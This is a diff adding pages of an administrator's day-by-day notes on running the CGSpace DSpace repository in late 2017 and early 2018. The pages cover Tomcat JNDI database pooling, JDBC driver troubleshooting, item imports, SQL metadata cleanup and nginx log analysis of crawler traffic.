2017-12-19 08:17:15,740 ERROR org.dspace.statistics.SolrLogger @ Error CREATEing SolrCore 'statistics-2010': Unable to create core [statistics-2010] Caused by: Lock obtain timed out: NativeFSLock@/home/cgspace.cgiar.org/solr/statistics-2010/data/index/write.lock
+
    +
  • I don’t have time now to look into this but the Solr sharding has long been an issue!
    • +
  • Looking into using JDBC / JNDI to provide a database pool to DSpace
    • +
  • The DSpace 6.x configuration docs have more notes about setting up the database pool than the 5.x ones (which actually have none!)
    • +
  • First, I uncomment db.jndi in dspace/config/dspace.cfg
    • +
  • Then I create a global Resource in the main Tomcat server.xml (inside GlobalNamingResources):
    • +
+
<Resource name="jdbc/dspace" auth="Container" type="javax.sql.DataSource"
+	  driverClassName="org.postgresql.Driver"
+	  url="jdbc:postgresql://localhost:5432/dspace"
+	  username="dspace"
+	  password="dspace"
+      initialSize='5'
+      maxActive='50'
+      maxIdle='15'
+      minIdle='5'
+      maxWait='5000'
+      validationQuery='SELECT 1'
+      testOnBorrow='true' />
+
+
<ResourceLink global="jdbc/dspace" name="jdbc/dspace" type="javax.sql.DataSource"/>
+
    +
  • I am not sure why several guides show configuration snippets for server.xml and web application contexts that use a Local and Global jdbc…
    • +
  • When DSpace can’t find the JNDI context (for whatever reason) you will see this in the dspace logs:
    • +
+
2017-12-19 13:12:08,796 ERROR org.dspace.storage.rdbms.DatabaseManager @ Error retrieving JNDI context: jdbc/dspace
+javax.naming.NameNotFoundException: Name [jdbc/dspace] is not bound in this Context. Unable to find [jdbc].
+        at org.apache.naming.NamingContext.lookup(NamingContext.java:825)
+        at org.apache.naming.NamingContext.lookup(NamingContext.java:173)
+        at org.dspace.storage.rdbms.DatabaseManager.initDataSource(DatabaseManager.java:1414)
+        at org.dspace.storage.rdbms.DatabaseManager.initialize(DatabaseManager.java:1331)
+        at org.dspace.storage.rdbms.DatabaseManager.getDataSource(DatabaseManager.java:648)
+        at org.dspace.storage.rdbms.DatabaseManager.getConnection(DatabaseManager.java:627)
+        at org.dspace.core.Context.init(Context.java:121)
+        at org.dspace.core.Context.<init>(Context.java:95)
+        at org.dspace.app.util.AbstractDSpaceWebapp.register(AbstractDSpaceWebapp.java:79)
+        at org.dspace.app.util.DSpaceContextListener.contextInitialized(DSpaceContextListener.java:128)
+        at org.apache.catalina.core.StandardContext.listenerStart(StandardContext.java:5110)
+        at org.apache.catalina.core.StandardContext.startInternal(StandardContext.java:5633)
+        at org.apache.catalina.util.LifecycleBase.start(LifecycleBase.java:145)
+        at org.apache.catalina.core.ContainerBase.addChildInternal(ContainerBase.java:1015)
+        at org.apache.catalina.core.ContainerBase.addChild(ContainerBase.java:991)
+        at org.apache.catalina.core.StandardHost.addChild(StandardHost.java:652)
+        at org.apache.catalina.startup.HostConfig.deployDescriptor(HostConfig.java:712)
+        at org.apache.catalina.startup.HostConfig$DeployDescriptor.run(HostConfig.java:2002)
+        at java.util.concurrent.Executors$RunnableAdapter.call(Executors.java:511)
+        at java.util.concurrent.FutureTask.run(FutureTask.java:266)
+        at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1149)
+        at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624)
+        at java.lang.Thread.run(Thread.java:748)
+2017-12-19 13:12:08,798 INFO  org.dspace.storage.rdbms.DatabaseManager @ Unable to locate JNDI dataSource: jdbc/dspace
+2017-12-19 13:12:08,798 INFO  org.dspace.storage.rdbms.DatabaseManager @ Falling back to creating own Database pool
+
    +
  • And indeed the Catalina logs show that it failed to set up the JDBC driver:
    • +
+
org.apache.tomcat.dbcp.dbcp.SQLNestedException: Cannot load JDBC driver class 'org.postgresql.Driver'
+
    +
  • There are several copies of the PostgreSQL driver installed by DSpace:
    • +
+
$ find ~/dspace/ -iname "postgresql*jdbc*.jar"
+/Users/aorth/dspace/webapps/jspui/WEB-INF/lib/postgresql-9.1-901-1.jdbc4.jar
+/Users/aorth/dspace/webapps/oai/WEB-INF/lib/postgresql-9.1-901-1.jdbc4.jar
+/Users/aorth/dspace/webapps/xmlui/WEB-INF/lib/postgresql-9.1-901-1.jdbc4.jar
+/Users/aorth/dspace/webapps/rest/WEB-INF/lib/postgresql-9.1-901-1.jdbc4.jar
+/Users/aorth/dspace/lib/postgresql-9.1-901-1.jdbc4.jar
+
    +
  • These apparently come from the main DSpace pom.xml:
    • +
+
<dependency>
+   <groupId>postgresql</groupId>
+   <artifactId>postgresql</artifactId>
+   <version>9.1-901-1.jdbc4</version>
+</dependency>
+
    +
  • So WTF? Let’s try copying one to Tomcat’s lib folder and restarting Tomcat:
    • +
+
$ cp ~/dspace/lib/postgresql-9.1-901-1.jdbc4.jar /usr/local/opt/tomcat@7/libexec/lib
+
    +
  • Oh that’s fantastic, now at least Tomcat doesn’t print an error during startup so I guess it succeeds to create the JNDI pool
    • +
  • DSpace starts up but I have no idea if it’s using the JNDI configuration because I see this in the logs:
    • +
+
2017-12-19 13:26:54,271 INFO  org.dspace.storage.rdbms.DatabaseManager @ DBMS is '{}'PostgreSQL
+2017-12-19 13:26:54,277 INFO  org.dspace.storage.rdbms.DatabaseManager @ DBMS driver version is '{}'9.5.10
+2017-12-19 13:26:54,293 INFO  org.dspace.storage.rdbms.DatabaseUtils @ Loading Flyway DB migrations from: filesystem:/Users/aorth/dspace/etc/postgres, classpath:org.dspace.storage.rdbms.sqlmigration.postgres, classpath:org.dspace.storage.rdbms.migration
+2017-12-19 13:26:54,306 INFO  org.flywaydb.core.internal.dbsupport.DbSupportFactory @ Database: jdbc:postgresql://localhost:5432/dspacetest (PostgreSQL 9.5)
+
    +
  • Let’s try again, but this time explicitly blank the PostgreSQL connection parameters in dspace.cfg and see if DSpace starts…
    • +
  • Wow, ok, that works, but having to copy the PostgreSQL JDBC JAR to Tomcat’s lib folder totally blows
    • +
  • Also, it’s likely this is only a problem on my local macOS + Tomcat test environment
    • +
  • Ubuntu’s Tomcat distribution will probably handle this differently
    • +
  • So for reference I have: +
      +
    • a <Resource> defined globally in server.xml
      • +
    • a <ResourceLink> defined in each web application’s context XML
      • +
    • unset the db.url, db.username, and db.password parameters in dspace.cfg
      • +
    • set the db.jndi in dspace.cfg to the name specified in the web application context
      • +
    +
    • +
  • After adding the Resource to server.xml on Ubuntu I get this in Catalina’s logs:
    • +
+
SEVERE: Unable to create initial connections of pool.
+java.sql.SQLException: org.postgresql.Driver
+...
+Caused by: java.lang.ClassNotFoundException: org.postgresql.Driver
+
    +
  • The username and password are correct, but maybe I need to copy the fucking lib there too?
    • +
  • I tried installing Ubuntu’s libpostgresql-jdbc-java package but Tomcat still can’t find the class
    • +
  • Let me try to symlink the lib into Tomcat’s libs:
    • +
+
# ln -sv /usr/share/java/postgresql.jar /usr/share/tomcat7/lib
+
    +
  • Now Tomcat starts but the localhost container has errors:
    • +
+
SEVERE: Exception sending context initialized event to listener instance of class org.dspace.app.util.DSpaceContextListener
+java.lang.AbstractMethodError: Method org/postgresql/jdbc3/Jdbc3ResultSet.isClosed()Z is abstract
+
    +
  • Could be a version issue or something since the Ubuntu package provides 9.2 and DSpace’s are 9.1…
    • +
  • Let me try to remove it and copy in DSpace’s:
    • +
+
# rm /usr/share/tomcat7/lib/postgresql.jar
+# cp [dspace]/webapps/xmlui/WEB-INF/lib/postgresql-9.1-901-1.jdbc4.jar /usr/share/tomcat7/lib/
+
    +
  • Wow, I think that actually works…
    • +
  • I wonder if I could get the JDBC driver from postgresql.org instead of relying on the one from the DSpace build: https://jdbc.postgresql.org/
    • +
  • I notice our version is 9.1-901, which isn’t even available anymore! The latest in the archived versions is 9.1-903
    • +
  • Also, since I commented out all the db parameters in DSpace.cfg, how does the command line dspace tool work?
    • +
  • Let’s try the upstream JDBC driver first:
    • +
+
# rm /usr/share/tomcat7/lib/postgresql-9.1-901-1.jdbc4.jar
+# wget https://jdbc.postgresql.org/download/postgresql-42.1.4.jar -O /usr/share/tomcat7/lib/postgresql-42.1.4.jar
+
    +
  • DSpace command line fails unless db settings are present in dspace.cfg:
    • +
+
$ dspace database info
+Caught exception:
+java.sql.SQLException: java.lang.ClassNotFoundException: 
+        at org.dspace.storage.rdbms.DataSourceInit.getDatasource(DataSourceInit.java:171)
+        at org.dspace.storage.rdbms.DatabaseManager.initDataSource(DatabaseManager.java:1438)
+        at org.dspace.storage.rdbms.DatabaseUtils.main(DatabaseUtils.java:81)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+Caused by: java.lang.ClassNotFoundException: 
+        at java.lang.Class.forName0(Native Method)
+        at java.lang.Class.forName(Class.java:264)
+        at org.dspace.storage.rdbms.DataSourceInit.getDatasource(DataSourceInit.java:41)
+        ... 8 more
+
    +
  • And in the logs:
    • +
+
2017-12-19 18:26:56,971 ERROR org.dspace.storage.rdbms.DatabaseManager @ Error retrieving JNDI context: jdbc/dspace
+javax.naming.NoInitialContextException: Need to specify class name in environment or system property, or as an applet parameter, or in an application resource file:  java.naming.factory.initial
+        at javax.naming.spi.NamingManager.getInitialContext(NamingManager.java:662)
+        at javax.naming.InitialContext.getDefaultInitCtx(InitialContext.java:313)
+        at javax.naming.InitialContext.getURLOrDefaultInitCtx(InitialContext.java:350)
+        at javax.naming.InitialContext.lookup(InitialContext.java:417)
+        at org.dspace.storage.rdbms.DatabaseManager.initDataSource(DatabaseManager.java:1413)
+        at org.dspace.storage.rdbms.DatabaseUtils.main(DatabaseUtils.java:81)
+        at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
+        at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
+        at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
+        at java.lang.reflect.Method.invoke(Method.java:498)
+        at org.dspace.app.launcher.ScriptLauncher.runOneCommand(ScriptLauncher.java:226)
+        at org.dspace.app.launcher.ScriptLauncher.main(ScriptLauncher.java:78)
+2017-12-19 18:26:56,983 INFO  org.dspace.storage.rdbms.DatabaseManager @ Unable to locate JNDI dataSource: jdbc/dspace
+2017-12-19 18:26:56,983 INFO  org.dspace.storage.rdbms.DatabaseManager @ Falling back to creating own Database pool
+2017-12-19 18:26:56,992 WARN  org.dspace.core.ConfigurationManager @ Warning: Number format error in property: db.maxconnections
+2017-12-19 18:26:56,992 WARN  org.dspace.core.ConfigurationManager @ Warning: Number format error in property: db.maxwait
+2017-12-19 18:26:56,993 WARN  org.dspace.core.ConfigurationManager @ Warning: Number format error in property: db.maxidle
+
    +
  • If I add the db values back to dspace.cfg the dspace database info command succeeds but the log still shows errors retrieving the JNDI connection
    • +
  • Perhaps something to report to the dspace-tech mailing list when I finally send my comments
    • +
  • Oh cool! select * from pg_stat_activity shows “PostgreSQL JDBC Driver” for the application name! That’s how you know it’s working!
    • +
  • If you monitor the pg_stat_activity while you run dspace database info you can see that it doesn’t use the JNDI and creates ~9 extra PostgreSQL connections!
    • +
  • And in the middle of all of this Linode sends an alert that CGSpace has high CPU usage from 2 to 4 PM
    • +
+

2017-12-20

+
    +
  • The database connection pooling is definitely better!
    • +
+

PostgreSQL connection pooling on DSpace Test

+
    +
  • Now there is only one set of idle connections shared among all the web applications, instead of 10+ per application
    • +
  • There are short bursts of connections up to 10, but it generally stays around 5
    • +
  • Test and import 13 records to CGSpace for Abenet:
    • +
+
$ export JAVA_OPTS="-Dfile.encoding=UTF-8 -Xmx512m -XX:+TieredCompilation -XX:TieredStopAtLevel=1"
+$ dspace import -a -e aorth@mjanja.ch -s /home/aorth/cg_system_20Dec/SimpleArchiveFormat -m systemoffice.map &> systemoffice.log
+
    +
  • The fucking database went from 47 to 72 to 121 connections while I was importing so it stalled.
    • +
  • Since I had to restart Tomcat anyways, I decided to just deploy the new JNDI connection pooling stuff on CGSpace
    • +
  • There was an initial connection storm of 50 PostgreSQL connections, but then it settled down to 7
    • +
  • After that CGSpace came up fine and I was able to import the 13 items just fine:
    • +
+
$ dspace import -a -e aorth@mjanja.ch -s /home/aorth/cg_system_20Dec/SimpleArchiveFormat -m systemoffice.map &> systemoffice.log
+$ schedtool -D -e ionice -c2 -n7 nice -n19 dspace filter-media -i 10568/89287
+
+

2017-12-24

+
    +
  • Linode alerted that CGSpace was using high CPU this morning around 6 AM
    • +
  • I’m playing with reading all of a month’s nginx logs into goaccess:
    • +
+
# find /var/log/nginx -type f -newermt "2017-12-01" | xargs zcat --force | goaccess --log-format=COMBINED -
+
    +
  • I can see interesting things using this approach, for example: +
      +
    • 50.116.102.77 checked our status almost 40,000 times so far this month—I think it’s the CGNet uptime tool
      • +
    • Also, we’ve handled 2.9 million requests this month from 172,000 unique IP addresses!
      • +
    • Total bandwidth so far this month is 640GiB
      • +
    • The user that made the most requests so far this month is 45.5.184.196 (267,000 requests)
      • +
    +
    • +
+

2017-12-25

+
    +
  • The PostgreSQL connection pooling is much better when using the Tomcat JNDI pool
    • +
  • Here are the Munin stats for the past week on CGSpace:
    • +
+

CGSpace PostgreSQL connections week

+

2017-12-29

+
    +
  • Looking at some old notes for metadata to clean up, I found a few hundred corrections in cg.fulltextstatus and dc.language.iso:
    • +
+
# update metadatavalue set text_value='Formally Published' where resource_type_id=2 and metadata_field_id=214 and text_value like 'Formally published';
+UPDATE 5
+# delete from metadatavalue where resource_type_id=2 and metadata_field_id=214 and text_value like 'NO';
+DELETE 17
+# update metadatavalue set text_value='en' where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(En|English)';
+UPDATE 49
+# update metadatavalue set text_value='fr' where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(fre|frn|French)';
+UPDATE 4
+# update metadatavalue set text_value='es' where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(Spanish|spa)';
+UPDATE 16
+# update metadatavalue set text_value='vi' where resource_type_id=2 and metadata_field_id=38 and text_value='Vietnamese';
+UPDATE 9
+# update metadatavalue set text_value='ru' where resource_type_id=2 and metadata_field_id=38 and text_value='Ru';
+UPDATE 1
+# update metadatavalue set text_value='in' where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(IN|In)';
+UPDATE 5
+# delete from metadatavalue where resource_type_id=2 and metadata_field_id=38 and text_value ~ '(dc.language.iso|CGIAR Challenge Program on Water and Food)';
+DELETE 20
+
    +
  • I need to figure out why we have records with language in because that’s not a language!
    • +
+

2017-12-30

+
    +
  • Linode alerted that CGSpace was using 259% CPU from 4 to 6 AM
    • +
  • Uptime Robot noticed that the server went down for 1 minute a few hours later, around 9AM
    • +
  • Here’s the XMLUI logs:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "30/Dec/2017" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    637 207.46.13.106
+    641 157.55.39.186
+    715 68.180.229.254
+    924 104.196.152.243
+   1012 66.249.64.95
+   1060 216.244.66.245
+   1120 54.175.208.220
+   1287 66.249.64.93
+   1586 66.249.64.78
+   3653 66.249.64.91
+
    +
  • Looks pretty normal actually, but I don’t know who 54.175.208.220 is
    • +
  • They identify as “com.plumanalytics”, which Google says is associated with Elsevier
    • +
  • They only seem to have used one Tomcat session so that’s good, I guess I don’t need to add them to the Tomcat Crawler Session Manager valve:
    • +
+
$ grep 54.175.208.220 dspace.log.2017-12-30 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l          
+1 
+
    +
  • 216.244.66.245 seems to be moz.com’s DotBot
    • +
+

2017-12-31

+
    +
  • I finished working on the 42 records for CCAFS after Magdalena sent the remaining corrections
    • +
  • After that I uploaded them to CGSpace:
    • +
+
$ dspace import -a -e aorth@mjanja.ch -s /home/aorth/2016\ bulk\ upload\ thumbnails/SimpleArchiveFormat -m ccafs.map &> ccafs.log
+
+ + + + + +
+ + + +
+ + + + +
+
+ + + + + + + + + diff --git a/docs/2017/01/mapping-crazy-duplicate.png b/docs/2017/01/mapping-crazy-duplicate.png new file mode 100644 index 000000000..2caa7e6ca Binary files /dev/null and b/docs/2017/01/mapping-crazy-duplicate.png differ diff --git a/docs/2017/02/cpu-week.png b/docs/2017/02/cpu-week.png new file mode 100644 index 000000000..405aa7070 Binary files /dev/null and b/docs/2017/02/cpu-week.png differ diff --git a/docs/2017/02/meminfo_phisical-week.png b/docs/2017/02/meminfo_phisical-week.png new file mode 100644 index 000000000..0d9e85189 Binary files /dev/null and b/docs/2017/02/meminfo_phisical-week.png differ diff --git a/docs/2017/03/livestock-theme.png b/docs/2017/03/livestock-theme.png new file mode 100644 index 000000000..f8e9fe675 Binary files /dev/null and b/docs/2017/03/livestock-theme.png differ diff --git a/docs/2017/03/thumbnail-cmyk.jpg b/docs/2017/03/thumbnail-cmyk.jpg new file mode 100644 index 000000000..4281d2a51 Binary files /dev/null and b/docs/2017/03/thumbnail-cmyk.jpg differ diff --git a/docs/2017/03/thumbnail-srgb.jpg b/docs/2017/03/thumbnail-srgb.jpg new file mode 100644 index 000000000..7838a847d Binary files /dev/null and b/docs/2017/03/thumbnail-srgb.jpg differ diff --git a/docs/2017/04/cplace.png b/docs/2017/04/cplace.png new file mode 100644 index 000000000..b891cd635 Binary files /dev/null and b/docs/2017/04/cplace.png differ diff --git a/docs/2017/04/dc-rights.png b/docs/2017/04/dc-rights.png new file mode 100644 index 000000000..5a511b654 Binary files /dev/null and b/docs/2017/04/dc-rights.png differ diff --git a/docs/2017/04/openrefine-flagging-duplicates.png b/docs/2017/04/openrefine-flagging-duplicates.png new file mode 100644 index 000000000..25b729f0a Binary files /dev/null and b/docs/2017/04/openrefine-flagging-duplicates.png differ diff --git a/docs/2017/06/wle-theme-test-a.png b/docs/2017/06/wle-theme-test-a.png new file mode 100644 index 000000000..07cd938e4 Binary files /dev/null and b/docs/2017/06/wle-theme-test-a.png differ diff --git a/docs/2017/06/wle-theme-test-b.png b/docs/2017/06/wle-theme-test-b.png new file mode 100644 index 000000000..e6cd5c8bd Binary files /dev/null and b/docs/2017/06/wle-theme-test-b.png differ diff --git a/docs/2017/07/lead-author-test.png b/docs/2017/07/lead-author-test.png new file mode 100644 index 000000000..1543979f5 Binary files /dev/null and b/docs/2017/07/lead-author-test.png differ diff --git a/docs/2017/08/cifor-oai-harvesting.png b/docs/2017/08/cifor-oai-harvesting.png new file mode 100644 index 000000000..6aa2db071 Binary files /dev/null and b/docs/2017/08/cifor-oai-harvesting.png differ diff --git a/docs/2017/08/postgresql-connections-cgspace.png b/docs/2017/08/postgresql-connections-cgspace.png new file mode 100644 index 000000000..982ffe910 Binary files /dev/null and b/docs/2017/08/postgresql-connections-cgspace.png differ diff --git a/docs/2017/09/10947-2919-after.jpg b/docs/2017/09/10947-2919-after.jpg new file mode 100644 index 000000000..183c19b02 Binary files /dev/null and b/docs/2017/09/10947-2919-after.jpg differ diff --git a/docs/2017/09/10947-2919-before.jpg b/docs/2017/09/10947-2919-before.jpg new file mode 100644 index 000000000..0ba72ea25 Binary files /dev/null and b/docs/2017/09/10947-2919-before.jpg differ diff --git a/docs/2017/09/cgspace-memory-week.png b/docs/2017/09/cgspace-memory-week.png new file mode 100644 index 000000000..b5710018a Binary files /dev/null and b/docs/2017/09/cgspace-memory-week.png differ diff --git a/docs/2017/09/dspace-test-memory-week.png b/docs/2017/09/dspace-test-memory-week.png new file mode 100644 index 000000000..a6cd80e78 Binary files /dev/null and b/docs/2017/09/dspace-test-memory-week.png differ diff --git a/docs/2017/10/dspace-thumbnail-box-shadow.png b/docs/2017/10/dspace-thumbnail-box-shadow.png new file mode 100644 index 000000000..a39b84adf Binary files /dev/null and b/docs/2017/10/dspace-thumbnail-box-shadow.png differ diff --git a/docs/2017/10/dspace-thumbnail-original.png b/docs/2017/10/dspace-thumbnail-original.png new file mode 100644 index 000000000..1e1a27dff Binary files /dev/null and b/docs/2017/10/dspace-thumbnail-original.png differ diff --git a/docs/2017/10/google-search-console-2.png b/docs/2017/10/google-search-console-2.png new file mode 100644 index 000000000..5e0fbd4df Binary files /dev/null and b/docs/2017/10/google-search-console-2.png differ diff --git a/docs/2017/10/google-search-console.png b/docs/2017/10/google-search-console.png new file mode 100644 index 000000000..16ab3d709 Binary files /dev/null and b/docs/2017/10/google-search-console.png differ diff --git a/docs/2017/10/google-search-results.png b/docs/2017/10/google-search-results.png new file mode 100644 index 000000000..4e0c19a8b Binary files /dev/null and b/docs/2017/10/google-search-results.png differ diff --git a/docs/2017/10/search-console-change-address-error.png b/docs/2017/10/search-console-change-address-error.png new file mode 100644 index 000000000..95fe4d9c5 Binary files /dev/null and b/docs/2017/10/search-console-change-address-error.png differ diff --git a/docs/2017/11/add-author.png b/docs/2017/11/add-author.png new file mode 100644 index 000000000..26f12875e Binary files /dev/null and b/docs/2017/11/add-author.png differ diff --git a/docs/2017/11/author-lookup.png b/docs/2017/11/author-lookup.png new file mode 100644 index 000000000..5d9d95831 Binary files /dev/null and b/docs/2017/11/author-lookup.png differ diff --git a/docs/2017/11/baidu-robotstxt.png b/docs/2017/11/baidu-robotstxt.png new file mode 100644 index 000000000..29cb66563 Binary files /dev/null and b/docs/2017/11/baidu-robotstxt.png differ diff --git a/docs/2017/11/jconsole-sessions.png b/docs/2017/11/jconsole-sessions.png new file mode 100644 index 000000000..9af006542 Binary files /dev/null and b/docs/2017/11/jconsole-sessions.png differ diff --git a/docs/2017/11/postgres-connections-month.png b/docs/2017/11/postgres-connections-month.png new file mode 100644 index 000000000..a7e533174 Binary files /dev/null and b/docs/2017/11/postgres-connections-month.png differ diff --git a/docs/2017/11/postgres-connections-week.png b/docs/2017/11/postgres-connections-week.png new file mode 100644 index 000000000..626b3f204 Binary files /dev/null and b/docs/2017/11/postgres-connections-week.png differ diff --git a/docs/2017/11/tomcat-jvm-cms.png b/docs/2017/11/tomcat-jvm-cms.png new file mode 100644 index 000000000..095cb6430 Binary files /dev/null and b/docs/2017/11/tomcat-jvm-cms.png differ diff --git a/docs/2017/11/tomcat-jvm-g1gc.png b/docs/2017/11/tomcat-jvm-g1gc.png new file mode 100644 index 000000000..724b0419f Binary files /dev/null and b/docs/2017/11/tomcat-jvm-g1gc.png differ diff --git a/docs/2017/12/postgres-connections-cgspace.png b/docs/2017/12/postgres-connections-cgspace.png new file mode 100644 index 000000000..908f3db3d Binary files /dev/null and b/docs/2017/12/postgres-connections-cgspace.png differ diff --git a/docs/2017/12/postgres-connections-month-cgspace-2.png b/docs/2017/12/postgres-connections-month-cgspace-2.png new file mode 100644 index 000000000..11731d504 Binary files /dev/null and b/docs/2017/12/postgres-connections-month-cgspace-2.png differ diff --git a/docs/2017/12/postgres-connections-month-cgspace.png b/docs/2017/12/postgres-connections-month-cgspace.png new file mode 100644 index 000000000..27602b450 Binary files /dev/null and b/docs/2017/12/postgres-connections-month-cgspace.png differ diff --git a/docs/2017/12/postgres-connections-month.png b/docs/2017/12/postgres-connections-month.png new file mode 100644 index 000000000..c7e64a76e Binary files /dev/null and b/docs/2017/12/postgres-connections-month.png differ diff --git a/docs/2017/12/postgres-connections-week-dspacetest.png b/docs/2017/12/postgres-connections-week-dspacetest.png new file mode 100644 index 000000000..a79fffe3d Binary files /dev/null and b/docs/2017/12/postgres-connections-week-dspacetest.png differ diff --git a/docs/2018-01/index.html b/docs/2018-01/index.html new file mode 100644 index 000000000..b38cfc931 --- /dev/null +++ b/docs/2018-01/index.html @@ -0,0 +1,1506 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + January, 2018 | CGSpace Notes + + + + + + + + + + + + + + + + + + + + + +
+
+ +
+
+ + + + +
+
+

CGSpace Notes

+

Documenting day-to-day work on the CGSpace repository.

+
+
+ + + + +
+
+
+ + + + +
+
+

January, 2018

+

+ + in + Notes + + +

+
+

2018-01-02

+
    +
  • Uptime Robot noticed that CGSpace went down and up a few times last night, for a few minutes each time
    • +
  • I didn’t get any load alerts from Linode and the REST and XMLUI logs don’t show anything out of the ordinary
    • +
  • The nginx logs show HTTP 200s until 02/Jan/2018:11:27:17 +0000 when Uptime Robot got an HTTP 500
    • +
  • In dspace.log around that time I see many errors like “Client closed the connection before file download was complete”
    • +
  • And just before that I see this:
    • +
+
Caused by: org.apache.tomcat.jdbc.pool.PoolExhaustedException: [http-bio-127.0.0.1-8443-exec-980] Timeout: Pool empty. Unable to fetch a connection in 5 seconds, none available[size:50; busy:50; idle:0; lastwait:5000].
+
    +
  • Ah hah! So the pool was actually empty!
    • +
  • I need to increase that, let’s try to bump it up from 50 to 75
    • +
  • After that one client got an HTTP 499 but then the rest were HTTP 200, so I don’t know what the hell Uptime Robot saw
    • +
  • I notice this error quite a few times in dspace.log:
    • +
+
2018-01-02 01:21:19,137 ERROR org.dspace.app.xmlui.aspect.discovery.SidebarFacetsTransformer @ Error while searching for sidebar facets
+org.dspace.discovery.SearchServiceException: org.apache.solr.search.SyntaxError: Cannot parse 'dateIssued_keyword:[1976+TO+1979]': Encountered " "]" "] "" at line 1, column 32.
+
    +
  • And there are many of these errors every day for the past month:
    • +
+
$ grep -c "Error while searching for sidebar facets" dspace.log.*
+dspace.log.2017-11-21:4
+dspace.log.2017-11-22:1
+dspace.log.2017-11-23:4
+dspace.log.2017-11-24:11
+dspace.log.2017-11-25:0
+dspace.log.2017-11-26:1
+dspace.log.2017-11-27:7
+dspace.log.2017-11-28:21
+dspace.log.2017-11-29:31
+dspace.log.2017-11-30:15
+dspace.log.2017-12-01:15
+dspace.log.2017-12-02:20
+dspace.log.2017-12-03:38
+dspace.log.2017-12-04:65
+dspace.log.2017-12-05:43
+dspace.log.2017-12-06:72
+dspace.log.2017-12-07:27
+dspace.log.2017-12-08:15
+dspace.log.2017-12-09:29
+dspace.log.2017-12-10:35
+dspace.log.2017-12-11:20
+dspace.log.2017-12-12:44
+dspace.log.2017-12-13:36
+dspace.log.2017-12-14:59
+dspace.log.2017-12-15:104
+dspace.log.2017-12-16:53
+dspace.log.2017-12-17:66
+dspace.log.2017-12-18:83
+dspace.log.2017-12-19:101
+dspace.log.2017-12-20:74
+dspace.log.2017-12-21:55
+dspace.log.2017-12-22:66
+dspace.log.2017-12-23:50
+dspace.log.2017-12-24:85
+dspace.log.2017-12-25:62
+dspace.log.2017-12-26:49
+dspace.log.2017-12-27:30
+dspace.log.2017-12-28:54
+dspace.log.2017-12-29:68
+dspace.log.2017-12-30:89
+dspace.log.2017-12-31:53
+dspace.log.2018-01-01:45
+dspace.log.2018-01-02:34
+
    +
  • Danny wrote to ask for help renewing the wildcard ilri.org certificate and I advised that we should probably use Let’s Encrypt if it’s just a handful of domains
    • +
+

2018-01-03

+
    +
  • I woke up to more up and down of CGSpace, this time UptimeRobot noticed a few rounds of up and down of a few minutes each and Linode also notified of high CPU load from 12 to 2 PM
    • +
  • Looks like I need to increase the database pool size again:
    • +
+
$ grep -c "Timeout: Pool empty." dspace.log.2018-01-*
+dspace.log.2018-01-01:0
+dspace.log.2018-01-02:1972
+dspace.log.2018-01-03:1909
+
    +
  • For some reason there were a lot of “active” connections last night:
    • +
+

CGSpace PostgreSQL connections

+
    +
  • The active IPs in XMLUI are:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -E "3/Jan/2018" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+    607 40.77.167.141
+    611 2a00:23c3:8c94:7800:392c:a491:e796:9c50
+    663 188.226.169.37
+    759 157.55.39.245
+    887 68.180.229.254
+   1037 157.55.39.175
+   1068 216.244.66.245
+   1495 66.249.64.91
+   1934 104.196.152.243
+   2219 134.155.96.78
+
    +
  • 134.155.96.78 appears to be at the University of Mannheim in Germany
    • +
  • They identify as: Mozilla/5.0 (compatible; heritrix/3.2.0 +http://ifm.uni-mannheim.de)
    • +
  • This appears to be the Internet Archive’s open source bot
    • +
  • They seem to be re-using their Tomcat session so I don’t need to do anything to them just yet:
    • +
+
$ grep 134.155.96.78 dspace.log.2018-01-03 | grep -o -E 'session_id=[A-Z0-9]{32}' | sort -n | uniq | wc -l
+2
+
    +
  • The API logs show the normal users:
    • +
+
# cat /var/log/nginx/rest.log /var/log/nginx/rest.log.1 /var/log/nginx/oai.log /var/log/nginx/oai.log.1 | grep -E "3/Jan/2018" | awk '{print $1}' | sort -n | uniq -c | sort -h | tail
+     32 207.46.13.182
+     38 40.77.167.132
+     38 68.180.229.254
+     43 66.249.64.91
+     46 40.77.167.141
+     49 157.55.39.245
+     79 157.55.39.175
+   1533 50.116.102.77
+   4069 70.32.83.92
+   9355 45.5.184.196
+
    +
  • In other related news I see a sizeable amount of requests coming from python-requests
    • +
  • For example, just in the last day there were 1700!
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep -c python-requests
+1773
+
    +
  • But they come from hundreds of IPs, many of which are 54.x.x.x:
    • +
+
# cat /var/log/nginx/access.log /var/log/nginx/access.log.1 /var/log/nginx/library-access.log /var/log/nginx/library-access.log.1 | grep python-requests | awk '{print $1}' | sort -n | uniq -c | sort -h | tail -n 30
+      9 54.144.87.92
+      9 54.146.222.143
+      9 54.146.249.249
+      9 54.158.139.206
+      9 54.161.235.224
+      9 54.163.41.19
+      9 54.163.4.51
+      9 54.196.195.107
+      9 54.198.89.134
+      9 54.80.158.113
+     10 54.198.171.98
+     10 54.224.53.185
